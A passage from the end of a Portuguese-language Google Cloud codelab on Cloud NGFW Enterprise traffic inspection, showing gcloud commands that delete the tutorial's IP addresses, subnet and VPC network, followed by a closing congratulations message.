gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Por fim, exclua a sub-rede e a rede VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Parabéns!
Parabéns, você concluiu o codelab do Cloud NGFW Enterprise para inspeção leste-oeste e norte-sul.